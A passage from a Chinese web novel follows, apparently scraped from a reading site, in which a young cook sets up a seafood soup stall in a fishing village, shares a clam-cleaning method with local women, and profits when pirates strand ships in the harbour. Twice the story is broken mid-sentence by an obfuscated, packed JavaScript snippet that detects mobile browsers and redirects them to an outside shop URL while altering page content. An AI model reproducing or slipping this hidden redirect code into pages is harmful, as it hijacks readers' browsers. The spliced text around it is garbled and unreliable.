里长把这要缴纳的钱数告诉她后，才理着表册说：“晚些我送去，落籍要不少天，你回去等等。” 江盈知便和王三娘出来，路上她都在抱怨那涂税的事，“年年收年年缴，一家两三百文，简直是刮皮抽骨。” 说了没几句，又道：“来瞧瞧我那蛇皮，这样剥得成不成。” 江盈知跟她一道去看了那蛇皮，只挂了一头，风吹着便蜷缩起来，左右卷起，说：“要把两头摊平夹住，不要卷了，皮有些厚，下次刮刮肉。” “透光能瞧见红的底，鳞骨一条条都能看见才好。” 又看了眼切好的肉片，“这厚度倒可以，就是肉多才好吃。” 强子跛着脚走来，“我知道了，晚点剥时再细致些。” “小满，今儿要不要做鱼丸？” 江盈知点点头，她还要送一些给陈海珠。 王三娘跟强子说：“剥皮鱼早就让你爹担过去了，这我自己来。” 路上江盈知问强子，“哥，你这腿疼好些了没？ 强子用拐杖踢开前面的石头，他说：“好多了。” 他是不想治了，可爹娘看不开，便也凑合着医。 到了竹屋，碰上小龙他爹挑两个大桶往回走，他拘谨地寒暄，“小满，叔把白虾送去了，早些晾虾皮。” “今儿渔获不算多，明早要还有，再给你送来。” 说完便急急忙忙走了，江盈知想喊他一声，人家溜得没影了，倒是小梅在竹屋栏杆上喊，“姐，过来。” 上去一瞧，这叫渔获不多，满满一个大盆的江白虾，不少还蹦跳在竹木板上，透明的身体，虾头涂满了黄，那是饱满的虾籽。 在这白虾叫江白虾，到了粤省则被称为漕虾，他们有句俗话叫，“三月黄鱼四月虾，五月三黎焖苦瓜”，阳历四月清明时序，那是白虾最肥美的时候。 过了粤省到鲁省，一开春就捞白虾，白里透黄，他们起了个美名“豆角子虾”。 眼下过了清明，却仍有抱卵的虾，江盈知一看见那蹦跳的虾，就想到了做了醉虾后，进嘴那壳软不粘连，饱满的肉连同虾籽的肥美。 又或者是干烧，这时候的虾壳是薄软的，炒过后变了色，能连壳带肉一起吃。 只可惜在这不敢吃醉虾，只能同盐姜，一点黄酒炒了，趁活着的时候，剥开虾壳蘸一点醋，吃了个痛快，江盈知唯爱嚼那丰润的虾籽。 强子嗅着手上的鲜味，笑笑，“光闻味舌头就先饱了。” 海娃舔自己的指头，旁边堆了好些壳，淡淡的橙红色，他也嗅，拍拍肚子，“我没吃饱。” “想得美，”小梅撸起袖子，她还要洗碗，用墨鱼骨粉浸泡过，洗的那碗锃亮的。 强子开始剥皮去骨，今天还要做不少鱼豆腐，忙到了晌午，吃了一顿鲳鱼干蒸饭，齁咸。 江盈知仍有些不适应，反倒是其他三个吃得多，哪怕这些天吃了不少鲜味，舌头仍喜欢这种重咸的东西。 她灌了一大杯水，才压下咸味，转头去搅桶里泡着的江白虾，她要收集虾籽。 这里的调料极为单调，而且很有限，除了海鲜本身纯天然能被烹饪出本味，其他吃食都得加调料，味道才会丰富。 而在味精出现以前，人们会用鲫鱼炒干磨成的粉来提鲜，同时也少不了虾籽。 江盈知很喜欢虾籽，吊高汤的时候特别鲜，虾籽在她这分淡水虾籽和咸水虾籽。 淡水虾籽颜色淡黄，而咸水虾籽则是橙红的。 她小心取出桶底的虾籽，放在碗里，锅里涂了层油，虾籽爆炒到熟透，再摊在竹 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菜佬说话虚得很，“没走啊，要死了，那天刚开船，到了花斑岛那，说有海盗，叫我们回去待着先。” “那你住哪？”江盈知看他衣衫落魄，有股腥臭味，肯定没上客栈。 菜佬一屁股坐下，差点没来个倒仰，堪堪稳住，抚抚自己心口才说：“以为隔日能走得喽，睡别人家船底，那鱼待过的地方人咋待得了。” “结果今日去问，水师说七个日头都走不了，没法子，跟别人在客栈挤挤算了。” 江盈知给他多上了些紫菜和鱼豆腐，菜佬吃了一口就拍桌子，“哎呀，活了活了。” 里镇的酒楼他吃不起，渔港处的东西都是重口的，要不就是很有嚼劲的番薯糕，他爱吃，压根吃不惯，只能嚼蛏干。 饱饱吃了两碗鱼汤，他同江盈知做生意，“你瞧，你那蛏干再晒些，卖我点来，两三百斤差不多。” 他本来要拐过铜钱礁，上南江岛那收虾皮的，这会儿被耽误在这里，尽顾着嚼蛏干，便起了这个心思。 这会儿蛏子还有许多，不过要到更远的滩涂和沙滩上挖，而且两三百斤，那晒干了后得五六百斤鲜蛏子才能出到这么多。 她和小梅就算再搭上王三娘一家，也弄不完那么多，她可还得出摊。 “按多少一斤收？”江盈知问道。 菜佬比了个数，六文一斤，这个价钱收得多也还行，江盈知要七文。 “不掺沙，跟这个一样好，七文就七文，”菜佬同意，他转手到明府干货店能卖更多。 他给江盈知五百文的定钱。 而这么大一笔生意谈下来，江盈知自己不做，而是准备告诉西塘关的女人们。 渔民生活不容易，比起渔民来，女人又更为艰难，她俩已经赚到了些钱，虽然不多能混个温饱而已，但她和小梅都不贪心。 小梅说：“告诉她们怎么去沙更快，就算以后卖不出去，也能给自家添道菜。” 而江盈知想得是，还要告诉里长，别叫大伙把蛏子摸得一干二净，窝全给撬了，不然明年可就没得吃了。 14.醉泥螺 “这是件大事” 王三娘神情严肃，她板起了脸。 在江盈知以为她要说出点“惊天动地”的话时，王三娘挠了挠头，“我算不来这笔账啊。” 江盈知差点没被水呛到，强子在一旁哈哈笑。 小梅拆台，“啊呀，我伯娘算个东西得要好半天。” 好半天算出来还是错的。 王三娘哼了声，她说：“这生意我们家不做了，海蛇那头还没忙完，不赚这几个钱。” 西塘关说得好听是前镇，可跟里镇过的日子，那可谓是一个云上，一个泥里，一家子靠渔船出海那点渔获过活。 她叹口气，“男人出了海，就全靠女人打点小工，剖鱼鲞、补网赚点钱，你要能叫大家赚些，就算只有几十文钱，也能买几斤糙米了。” “能换十好几斤番薯丝呢，”小梅嚼着蛏干，接了句。 陈大发说：“在这聊啥，找里长去啊，明早赶大潮，蛏子蛤蜊多，走走。” 里长见到这一家子时，手里还端着碗饭，咸鱼尾巴正露在嘴边，他家小孙女喊，“阿叔阿婶，吃了没？” “落个户急不得，怎么一帮子人来，”里长把咸鱼尾巴塞进嘴里，好声好气地说。 王三娘一屁股坐在他家那石凳上，张了张嘴，在里长一家看过来时，推了推江盈知，“小满，你说。” “犯了啥难了？”里长二丈摸不着头脑。 江盈知便把与菜佬的交易说了，可叫里长媳妇把调羹摔在碗里，发出哐当一声响。 “事就是这么个事，”江盈知坐下来，“几百斤的蛏干，硬要做我们没日没夜，点灯熬油肯定也能办到。” “只想着我是外来的，大伙也肯叫我落户在这，那有钱大家一道赚些。” 江盈知说得也很敞亮，“不说能赚个多少钱，就说这除沙的法子，蛏子、蛤蜊、蚶子，海瓜子、海蚌都可以。” 都不用说得很清楚，听到这在座的人全明白了，不由得暗暗激动。 这些以前全是捞起来，剥了壳喂给鸡鸭，或是拿了沤肥。 那是沙子多，泡了一天沙子也除不干净，实在不情愿吃它。可要是没了沙子，晒起来那可算多了一道菜，还能拿出去卖，干货的价钱可比咸货要贵些。 她说完，屋里只剩下嚼蛏干的声音，这玩意嚼起来是真有咬劲。 里长心满意足嚼完了蛏干，转头问她，“这你藏着不说，自己赚去不更好。” 江盈知并不靠这些也能赚到钱，她的手艺就是她的底气。 但她仍把话说得好听，“这关窍也是旁人教给我的，总不好藏着掖着，就把它当自己的了。” “而且看那些小海鲜被糟践，明明是能吃的东西却没人吃，我觉得难受。” 这话说得实诚，在坐一圈人都笑出了声，从天亮说到黄昏，老里长才拄着拐跟大家说声。 他也并不是每家都叫去，有的人家实在需要这点钱，三四十文就够抓一副药的。 西塘关富的人少，自己过得下去的也还有一些，穷的实在多，有些人家前两年来台风被刮飞的屋顶，到了今年还没修，盖了层破茅草。 他威望重，挨家挨户说过去，叫大伙好好干，不要寒了人家的心。 “人虽是外来的，可你们也瞧过了，她是手艺人，虽然年纪轻轻，见识却广，比我们老渔民懂得都要多。” “这也不是她收，是小贩自个儿来挑，要是糊弄，那人家不收也没法子。” 里长难得肯说那番话，又叫他媳妇分了每人一个蛏干，大伙正听得云里雾里，伸手接过半信半疑尝了。 “哎，这真没沙，”陈海珠说，“还挺有嚼头。” “吃起来咸滋滋，当下酒菜不错。” 另一个妇人撇撇嘴说：“怎么不早说，白费了那么多蛏子，想想我心疼。” “人家平白欠你的不成，”海花婶跳起来骂她，“你心疼个屁，跟屙注苍蝇似的眼乌珠碧绿。” 骂她又贪心又眼红。 “你——”妇人胀得脸通红。 有人打圆场，“回家抄些家伙什，明儿早些赶大潮去，多挖点蛏子来。” 里长背过手摇摇头，有些人那嘴和心跟墨鱼喷出的汁一样黑。他反正把话带到了，又不是人爹娘，啥事都要一点点管。 穷是自找的。 有人回家翻来覆去睡不着，还要跟自家男人嘀咕几句，说有法子不早早说，现在拿出来充好人。 可更多想的是，竹屋外来的小娘不容易，在这里要站稳脚跟，一个能赚钱的法子不自己搂着，叫上她们分一点羹。 顿时生出些许待人的善意。 这夜海浪潮涌，好些人家在辗转反侧中睡去。 起早跟江盈知一碰面，假作客气地问吃了没，而后才问，“真收七文一斤？” “那铁器泡水去沙的法子，我昨儿晚上试了，那是真有用，可谢过你了。” “婶问问你，这干晒还是煮了晒过啊” “那晒得多了，以后还收不收？” 江盈知拽拽篓子，一一回过，“我不收蛏干的，多攒些拿去卖也能换几个钱。” 她给了法子，又不代表她要全权负责，过多的示好会滋养欲望。 王三娘硬挤进来，“问那么多做啥，昨儿不是都教了，我家小满好心，你们可不能啥都赖上她。” “这回她教了，以后你们也多教教她，外海风俗和我们这不同，我是个大老粗，不如你们懂得多。” 一群妇人不好多说什么，笑了笑，倒是海花婶打了包票，“小满有啥不会只管来问我。” 她今儿是不敢把小龙带出来了，自己和他爹一道过来，闻言当即表态。 这才让江盈知脱了身，跟一旁的小梅递了个眼神，两人连同海娃蹲在高石台上，等着退潮。 今天是十五大潮期，海风席卷海雾，潮水哗啦啦，海浪像巨大翻滚的云层，吞没整座礁石，而后又倏地一退几百米。 露出跟滩涂相接的沙滩，岸上满是来不及跟着回海的贝类：海星趴在沙滩上，蛏子一个个露头，滩涂上遍布泥螺，跳跳鱼在海水里蹦跶。礁石壁上沾着肥硕的海螺蛳，辣螺、乌蛳、青蛳。 众人赶紧捋起袖子，扎紧裤子，腰间别着好几个竹篓，赶小海去了。 小孩挖泥螺，大人则都奔着蛏子去了，用手刨，用竹片铲，一只只饱满硕大的沙蛏被扔进桶里。 江盈知则赶紧捡泥螺，都说早潮泥螺 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此时的公蟹没多少肉，膏脂算得上鲜美，不管是做酱炒蟛蜞用来下酒，或者做蟛蜞酱，到时候蒸肉、拿来当蘸酱都很合适。 不过螃蟹多的一般是傍晚落潮时，眼下只能抓到一小箩筐，多的还是海花婶和她男人帮忙捉的。 日头没出来前，滩涂湿润润的，小孩跑跳，晃着贝壳海螺哐哐响，日头出来后，就要收篓子回去了。 江盈知和小梅今天渔获特别多，泥螺、蛏子、蟛蜞、蛤蜊，装满了好几个篓子，连海娃都在礁石边上扒了一盆海螺。 小梅哈哈笑，“终于凑够了一盘菜。” 这些东西得吐沙，换水，东西两头的溪坑处便有不少人去挑了水来。 她们赶海回去时，强子和顺子已经把鱼都给弄成鱼泥了，江盈知调笑说：“顺子，你哥有工钱，你没有钱怎么还这么勤快。” 顺子脸皮厚，闻言就合掌说：“当然是求小满姐你赏我一口吃的了。” 被赶来的王三娘瞧见，当即脱下木屐要打他，“你个皮猴。” 顺子哇的跑进了屋里，王三娘才不搭理，伸手拉过江盈知，“走走，叫小梅顶一会儿，你跟我来一趟。” “做什么去？”江盈知停下活，鱼丸两个人已经做得很熟了，她不掺和也可以。 王三娘伸指头点点她，“合着你跟小梅一样傻气。” “小梅不是要蛏子煮水熬蛏油，这会儿不是现成的，你盯着些，拿了水来自己熬不正好。” 她嘀咕，“已经教给她们法子了，又没挣钱，总要挣点旁的回来。” 她想叫小梅多挣点，还有债要慢慢还呢。 王三娘自认识的理多，让江盈知一道去瞧瞧，烂的臭的别剥下去煮，熬的水拿回来，还省了些柴火。 蛏子水有两大桶，饶是江盈知也挑不动，跟王三娘一起挑回去。 到了家后她留人吃饭，“阿姑，在这吃碗海鲜面吧。” 她昨儿买了本地的细米面，也有叫粉干的，渔港落市后有人担了菜来卖，比海鲜贵不少，她只买了一把小油菜。 这会儿小海鲜多，烧碗海鲜面正正好。 15.海鲜面 王三娘被强留下来，看江盈知拿出一包用长油纸缠好的米面，惊了下，“不要过日子啦？” 这用米又用面做出来，细细圆溜溜，又不容易断，卖的比挂面还要贵一些，一包要五十文，但会泡涨，一长包能吃很久。 刨除所有费用，她和小梅一天能赚个百来文，多的两百文，狠狠心也能买包米面。 江盈知把白虾洗干净沥在竹篮里，转头去刷蟹，蹲下来说：“过啊，我不正过着嘛。” 她刷着螃蟹，简易猪鬃刷用来刷硬物很好使，刷牙不行，戳得疼。 王三娘哼了声，她总不能说日日吃咸鱼干蒸糙米饭才是过日子吧。 她坐不住，在这看江盈知大摆灶台，油要多多放，酱醋盐一点不能少，看着糟心。 索性提了两个木桶，招呼顺子，“走，上山担水去，你提个小桶。” “海娃，你去不去？” 海娃在等螺蛳钻壳，闻言起身，“我拿小桶。” 顺子一瞧，小桶比他头还小，哈哈大笑。 “伯娘，你担少点，”小梅喊王三娘。 王三娘不搭理她，顺道拿把柴刀，再砍些竹子来。 等她走了，小梅又回去搅着蛏子水，强子在一旁说：“这味怪香的。” 等江盈知烧红了锅，酱爆蟛蜞蟹后，他立马收回这句话，这味香得待都待不住。 小梅咽咽口水，眼睛努力往自己熬蛏油的锅里看，后头实在忍不了，站起身往大锅里瞧。 蟛蜞蟹熟到变为橙红，壳上还挂着酱汁，江盈知还把鱼骨吊过的汤头倒进去，白汤渐渐转黄，浮着一层油花。 江盈知拿上木盖焖一会儿，往里头塞了把柴火，又低头看了眼说：“没柴了。” 最近烧柴很费，她一个人得烧之前小梅和海娃两个月的量，留下来的炭还都拿去烧炉子了。 强子说：“晚点我带顺子上山去捡些来。” 锅里的汤沸腾，江盈知放入一把白虾，瞬间被汆红，她搅着汤说：“麻烦你们，这样总不是办法。” 她想着事，依次加入蛤蜊、蛏子、鱼丸，面要等王三娘回来再下，不然会烂成一段段的。 这时陈大发赤着腿走过来，问了嘴，听见这事笑道：“山上树耐烧得不多，渔船板要不要？” “有几艘船撞了礁，人被救了，倒是船裂得厉害，大木去拉了回来，正破船板。” “那造船用的都是杉木，引火好使又耐烧，你们要的话，三十文买来的木板能烧上个把月。” 江盈知也爽快，叫他买了五十文的杉板，该花的钱心疼也没有用。 陈大发立马便去了，他很乐意帮忙，这人情往来总是相互的，像江盈知和小梅天天搭他的船，虽没有给钱。 可却买了一壶百来文的桐油并一坛老酒给他，这就叫人心里舒坦极了，有来有往的，他做事也乐意。 等他买了船板回来，堆在门前，王三娘挑完了水，倒进水缸里后，江盈知才开始下面。 她的浇头已经熬好了，一勺细面，汤盖过面，倒上浇头。三只蟛蜞蟹、几只蛤蜊，开了壳蛏肉完整的蛏子，被烫红的江白虾，一小把绿油油的青菜。 把那褐色粗瓷大碗都衬得耐看了。 “这面该是酒楼里卖的才是，”王三娘感慨，她哪吃得来。 她的话得到众人的一致赞同，平常吃什么都吃得快，一到卖相这样好的，反而不敢动筷子，全都吃完了海鲜浇头，才嗦起面。 江盈知捧着面却想，再赚点钱，以后她的小摊也卖海鲜面。浇头有啥放啥，小黄鱼、小白鲳鱼、梭子蟹、水潺、皮皮虾，想想就有出摊的劲了。 吃了这顿汤面，大伙全都来了干劲，陈大发和强子把那船板劈了，王三娘要回家翻翻她的海蛇皮，顺子和海娃捡贝壳去了。 小梅去数钱，她热衷于把那一串铜板，翻来覆去数一遍。 每天出摊卖的钱，她和江盈知各一半，再挪出一半来做家用，剩下的她要还她爹生病欠四叔的钱，还差一两能还清。 下午早早拿上东西去渔港，途经沙滩，有不少妇人左右手各扛一条长凳，把凳腿扎进沙坑里，搬了竹席来晾晒蛏干，叫小孩坐着赶海鸟。 江盈知对着那边看了许久，直到船慢慢离开那里。 今天渔港出奇地热闹，陈大发的小对船只能靠加塞，穿进两艘大航船中间。 他皱眉嘀咕，“又没到拢洋时候。” 江盈知明白拢洋是渔船回港，她也好奇，整个海面密密实实塞满了渔船，船头甲板全是人。 陈大发搬了炉子下来，同人打听，坐在树下的渔民苦着脸说：“碰上一波海盗，要命了，铜钱礁那处已经叫水师围了，不管哪来的渔船全得进港。” “最迟也要七日工夫才能走。” 江盈知放下桌子，看了眼那么多的渔船，每个船舱里至少有五六人走动，也就是上千人汇集到了渔港。 她很快体验到了生意的忙碌，外来的渔船里有不少是航船。坐航船的大多是书生、女子和孩童，走亲访友的，不像渔民能吃得下咸鱼干、番薯粥饭。 又停留在这港口，自然要下来吃些东西再做打算。而江盈知的摊位又近海滩处，摆的比其他小摊要大得多，且有座位，好些人一下了船便瞧中了。 有人问：“卖的什么？” 江盈知听不大懂，他的口音很奇怪，小梅倒是知道些，告诉他们这一伙人，“鱼汤。” 她们今天渔获多，做的东西也多，煮到半熟的一锅，没煮的还有一大桶。没想到平时不怎么热闹的渔港，今天能有这么多人。 陈大发也走不了，索性留下来帮忙，这群人在铜钱礁处被排查扣留了一个白日，压根没吃饭，此时饥肠辘辘，掏了钱，赶紧要上一碗。 十个摊位很快坐满了，还有人就站在那等着，捞了碗捧着吃。 江盈知越忙反倒越不会出错，她待的海鲜餐厅以前客人多，一天最多她要安排十个包厢。 手起刀落，那鱼丸、鱼豆腐全都被切得整整齐齐，瞧着又多，还能分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533260|142000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神看看火候。 她一碗碗舀出来，陈大发端上桌，小梅拿抹布，收了桌上的碗筷就赶紧擦擦汤水。 外来的客人嘴刁，闷不吭声吃完了，不说好吃，只说再来一碗。 一锅见底，另一锅煮的时候她才有点空闲，擦擦自己额头上的汗，双鱼就是这个时候来的。 她被满满坐着的人惊了下，“忙得过来吗？” 江盈知搅着鱼汤，见是她，忙说：“上回说的年糕，给我来一桶先。” 双鱼正为这事找她，那天定好了时间，江盈知没出摊，她又去了趟外婆家，今天才回来。 一听她这么说，立马应下，“那我回去拿，叫人送来。” 她走后，整个渔港更加热闹起来，到处吵吵嚷嚷的，里镇的客栈和酒楼派了小厮来引路，请人上去吃饭。 “新丰楼吃饭两位” “下榻住宿三位，伙计在这，几位跟着过去就成，拿上牌子” “驳船的，驳船的在哪？” “脚夫，脚夫，来几位脚夫，上来拿东西，”最高的航船上有人喊。 可眼下驳船的全都出动了，脚夫更是来来回回跑，实在腾不出人手来。 闹哄哄的，江盈知倒是把鱼汤全卖得精光，剩的那些蛏干、蛤蜊干也没了，早上熬的蛏油有好些人买，另有腌的醉泥螺，三十文一罐被人家小厮买走了。 江盈知和小梅互看，还没收过这么多的钱，没数，大概有个四五百文。 两人累得浑身疼，可依旧笑嘻嘻的，能买好些东西了！面粉、黄酒、糯米粉，再来一袋盐、糖、冬米，换一把利一点的菜刀，想想就叫人高兴。 江盈知收着摊，赶紧跟陈大发说：“姑父，你们这几夜辛苦些，夜里去多钓些海蛇来，这一趟停在这的有不少闽省的船。” “明儿叫顺子看家，让你阿姑和强子哥都来渔港。” 陈大发一听连忙点头说道，手下动作加快，他还要把这件事同西塘关大家说说，可算碰上了好时候。 这件事正赶巧，偏逢上了江盈知说的蛏干生意，好些人的担忧一下消失了，就算卖不了菜佬，多的还能卖给外帮人，肯费力气就能赚点银钱使费。 这下有些人从三分谢意加重到六七分。 而江盈知则忙得很，为了赚这份短钱，夜里睡会儿，早上多做些鱼丸，去收别人家中的渔获来熬汤头，虽然没几个钱，却叫两头都高兴。 有了年糕，她的汤料更扎实，能吃得饱些。 腌醉泥螺，晒虾米、熬蛏油，她和小梅简直没有空下来的时候，顺子和海娃都不出去玩了，在这帮忙。 王三娘则和陈大发，又叫上小梅四叔，夜里去钓海蛇，捞鱼，一夜没睡，赶早回来眯会儿，立马剖蛇皮，取肉，等着送渔港卖去。 而好些女人五更天赶海挖蛏子，有的跑很远没人去的滩涂上，取肉卖钱，一边做一边念着江盈知的好。男的则捞鱼，再到渔港处当脚夫，赚几个力钱。 苦是苦了些，赚到的钱是实打实的。 16.敲鱼面 渔港只有在渔船回洋时才兴盛，那时船老大有钱，舍得摆阔。谢洋节摆谢船菩萨的酒席，办谢洋戏，百戏杂耍，又兼之过了秋休要备冬，那真是到处热闹吵嚷。 可此时逢了这波海盗刮来的风，竟叫渔港一下子人头攒动起来，连夜到渔港的小黄鱼不过冰了，一篮一篮往酒楼客栈送去。 夜里仍不歇，驳船的渔夫忙着将渔船停靠远些，脚夫从这条船上搬了东西下来，转头又去跑另一条船上去，颇费了许多灯笼。 灯笼铺急忙找人劈竹篾，做灯笼样子，糊纸，捆扎好的毛竹一批批运来。衙门派了水师，去叫粮船再运些粮油米面来，粮价又翻了些。 江盈知对此浑然不知，夜里睡得好，白日出摊早，陈三明挤进人群里拿碗时同她说起这些，他偏了偏身子，让其他人过去。 “累得一夜没合眼，”陈三明端着碗绕到旁边站着吃，“净填税单了，那么多外帮船。” 江盈知把碗捧给王三娘，让她端出去，闻言勾了勾勺子，朝陈三明道：“给你加勺料，你跟我说说，闽省渔船的在哪下榻？” “做什么，要买闽货？那倒是运了不少东西来，橘饼、蜜饯、砂糖，”陈三明嚼着鱼丸，想起昨晚点的东西、收的税，仍在感慨。 江盈知把空的锅换下来，搬了一桶新的上去，对着底下炉眼扇着风时说：“不买，卖些东西给他们。” “什么，鱼丸？” 她说了海蛇两个字，陈三明面露异色，还是同她说了，“在三里栈那。” 他把碗伸过来，“多给我来些鱼豆腐，今儿瞧了还有旁的，刚吃到嘴里味觉得不对，太滑了些。” “敲鱼面，”江盈知甩甩手上一把又宽又薄，沾满了粉的鱼面，投到另一口汤锅里，沸了后立马捞出。 这面薄得可以，略烫就熟了，再浇上汤头，收人家七文一碗。 敲鱼面看着简单，鱼肉沾番薯粉，木棍洗到溜光，在案板上敲到从一大块鱼肉，变成薄薄一层皮。 敲重了要裂，敲轻了太厚，粉不匀，煮出来糊锅不爽滑，全靠收着手劲，她敲了一早上，手臂都震到发麻。 陈三明一手端碗一手掏钱袋子，“给我装些没煮的面来。” “给家里阿婆吃，没了牙，吃这正好。” 江盈知送他一碗，不说虚话，“拿去吃吧，以后免不得还要从你这套些消息，你不吃，我也不好问。” “那我可不算白吃白喝了，”陈三明接过后，想了想又说：“今儿还有批渔船要瞧，到时候我也帮你问问，有没有人收蛇皮的。” “那可劳烦你了，明儿再来吃，”江盈知客气句，她办事很活络，有人用就不会为着欠着人情，或是为了脸皮硬要死撑。 陈三明作为税吏问一嘴，比她拿着东西挨个上门要好使得多。 她这头忙，没多留人家，站的脚麻动了动，想坐一会儿，立马有人过来说：“上三碗汤，多加些料，冬菜放一些，葱花不要。” “再来四碗敲鱼面。” 江盈知哎了声，声音清脆，旁边给人捞一小碗泥螺的强子说：“还要洗些碗吗？” “洗些吧，”江盈知说，“小梅，你吃面还是要鱼汤？” 忙到现在，晌午吃的那点东西都没了，得烧碗点心吃，不然都撑不到晚上。 “汤吧，”小梅收完了碗，累的坐在石头上，脖子上挂了一个钱袋子，她忙拉紧袋口。 王三娘说：“下回谁要再说出摊赚银钱多么好赚，我叫她过来试试。” 累得她腰疼腿疼，一干两个时辰没歇过。 不过晚上数钱的时候，江盈知倒是不觉得累了，那七百个铜钱反反复复，翻来覆去地数。 江盈知数出六十文，“这给阿姑和强子哥。” “买鱼肉的，”小梅拿出三十文。 “黄酒还要再买两壶，”江盈知忍痛数出八十文，不算好的黄酒只要四十一壶，要是从其他地方运来的上等黄酒，两百文。 小梅磨磨蹭蹭拿出二十文，“买些小海鲜。” 剩下的她拿了两百多文，装进罐子里，很快就能还清这笔钱了。 她同江盈知说：“还清了钱，我想寄点东西到明府去。” “寄给你晚娘？”江盈知摸摸那薄薄的褥子，棉花都没了，怪不得竹板床睡起来那么疼。 小梅点点头，她有点忧虑，“不晓得是不是摊上了事。” 从这航船到明府，一来一回得七八日，属实不便。 江盈知宽慰她，又说了会儿，闭上眼便睡了。 早起小梅熬了粥，熬得特别稠，筷子扎进去都不动。 她说：“做力气活，要吃干饭。” 江盈知就着昨晚的鱼冻吃完了，海娃出来剥蛏壳，他也要赚两个铜板，能换一竹筷搅好的麦芽糖。 吃了午饭大伙到渔港去，一去傻了眼。 之前支摊子的地方被人占走了。 有自家种了菜挑来卖的，或是卖鱼干、虾皮的，早前那个大娘已经换了地摆。 此时哪有落脚的地，支棚子铁定不成了，没那么宽的地。 王三娘放下炉子，皱着眉在人群里找地方，又说：“我们来得晚了。” “要不去前头看看，”小梅踮起脚，语气有些焦急。 江盈知环顾四周，摊子一个连一个，能挤进去的地方也没有。 她看人时，人群里也有人在看她，赶紧跑过来。 “没位置了是不是，上我这来。” 江盈知闻声看过去，她盯着这张脸想了会儿，才抬高声音说：“海红姐。” 海红哎了声，面上堆起笑，“难为你还记得我，上我这摆来。” “我夜里不走的，总有做力工的要吃东西，我就按你上次教的，蒸了馒头，熬鱼杂粥，卖出不少了。” 海红边说边领着几人往她占的摊位走，在一间铺子的墙角处，摆了两个炉子，一个高高的笼屉，后面摆了辆推车，把车移出去位置就宽敞许多。 留出的地方要把两张桌子拼起来，摆成一张长桌，挤挤总能坐下的。 至于其他炉子杂物，紧紧挨在一起，勉强够用。 江盈知念着海红的这份好，海红却说：“多亏了你肯教我一二，不然我哪能卖得这样好。” 王三娘看了眼她熬的粥，卖相不错，便笑说：“得亏她生好心，也亏你念着，不然今儿都没地去。” “可不能这么说，”海红忙开口，又拉着王三娘说了一堆话，才知道人是真不容易。 夜里出摊，白天叫孩子守着，回去眯一会儿再蒸馒头熬粥，下午来卖，连个能帮衬的人手都没有，多靠这粥能赚些银钱。 日子也能过下去。 江盈知用火石生炉子，她说：“这样也太累了。” 想劝人家，给出个主意，一时半会儿也找不到合适的，可夜里赚的钱还要更多些。 只能多在摊上帮衬一把。 江盈知送她一竹筒的蟛蜞酱，“热锅炒熟再煮粥，比用鱼骨熬的还香，越熬越香。” 海红不好意思接，小梅塞给她，“那我们都不好在这摆”，她才擦擦衣服接下。 正逢有客人来，是昨日来吃过敲鱼面的，他穿了件长衫，额头有汗珠，“兜了一圈，没找着，正想回去，一扫眼倒是瞧见了。” 他到里面桌子坐下时说：“怎么不挂个幌子，让人一眼就识得。” “我出去找膏药的，看他那膏药幌子，找酱园看它门前挂着的酱菜篓子，你挂个东西来，显眼些的，打眼就瞧见了。” 江盈知正用长竹筷搅着面，一听是这个理，怎么偏自己给忘记了，不过前头她也没钱扯布做招幌。 自己端了鱼面上去说：“多亏您提点，我下晌得了空就做去。” “来，今儿这碗不收您钱，”江盈知被他点醒，又给了人一包烤鱼干。 近来跳跳鱼实在多，吃不完，她夜里全给剖了，穿了竹签，在海滩上架了柴火烤的，烤到黑漆漆， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547457|142000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧缩回去，鱼油全渗出来。 虽然卖相不好，可风干过一夜，特别有嚼劲，外头硬里头酥。 客人接过吃了口，连忙说：“这烤得可真好，我拿回去烧年糕吃。” 他随口一句得了便宜，又有些不好意思，便同江盈知说让她到里镇土布店扯一块布来，写些字，挂点红穗子，指定晃眼。 江盈知承了他的情，又寒暄了几句，便卖起东西来，没工夫说话了。 今儿换了地方卖得慢，陈三明找来的时候，她才刚卖完。 “真不巧，半点也没了，”江盈知敲敲见底的汤锅。 陈三明摆摆手，“刚在河泊所吃了顿烧面，还饱着，怎么换了这么个地方？” 他知晓后，往里张望，手比划着，“那个海蛇皮带了没？昨儿我给你问过了，还真有吃这个的。” 王三娘连忙上前说：“官爷，带了的。” 陈三明被她这一句官爷闹了个大红脸，“婶叫我三明就成。” “有的都拿出来，叫人家瞧瞧。” 江盈知把海蛇皮装在案板桌子底下，不然吓着别人，王三娘小心地过去问，“按条的卖，给多少？” “人就在那呢，我叫他来吃点鱼汤，你这没了也成，正好坐下来谈谈。” “我可走了，还忙着。” 陈三明扔下这句话，叫了收蛇皮的闽省渔夫来，这人很精壮，倒是没精明相。 他上手摸了摸，张口说：“十文一张，蛇肉有的话，一条三文。” “卖不卖？” 这已经比单卖蛇胆要高出许多，只王三娘看江盈知，搓了搓手，没开口。 江盈知应下了，这价算不上很高，可难碰上吃这口的，再讲就没得卖了。 渔夫便说：“还有就送到三里栈来。” 总共六十几张蛇皮，加上点蛇肉，换了八百多文。 忙活了几个晚上，总算有了点银钱入账，王三娘在那摸了摸一兜子钱，好半天没回过神来。 她摸着自己粗黑的脸，话哽在喉头。 小梅赶紧说：“伯娘，这多好的事，也好叫我强子哥的腿早些有点指望。” 王三娘把钱装进桶里，上面再压东西，也带了笑回：“再攒攒，就上里镇大医馆去。” 治不好也再给瞧瞧。 强子背过身，默默在那收拾东西，不敢开口。 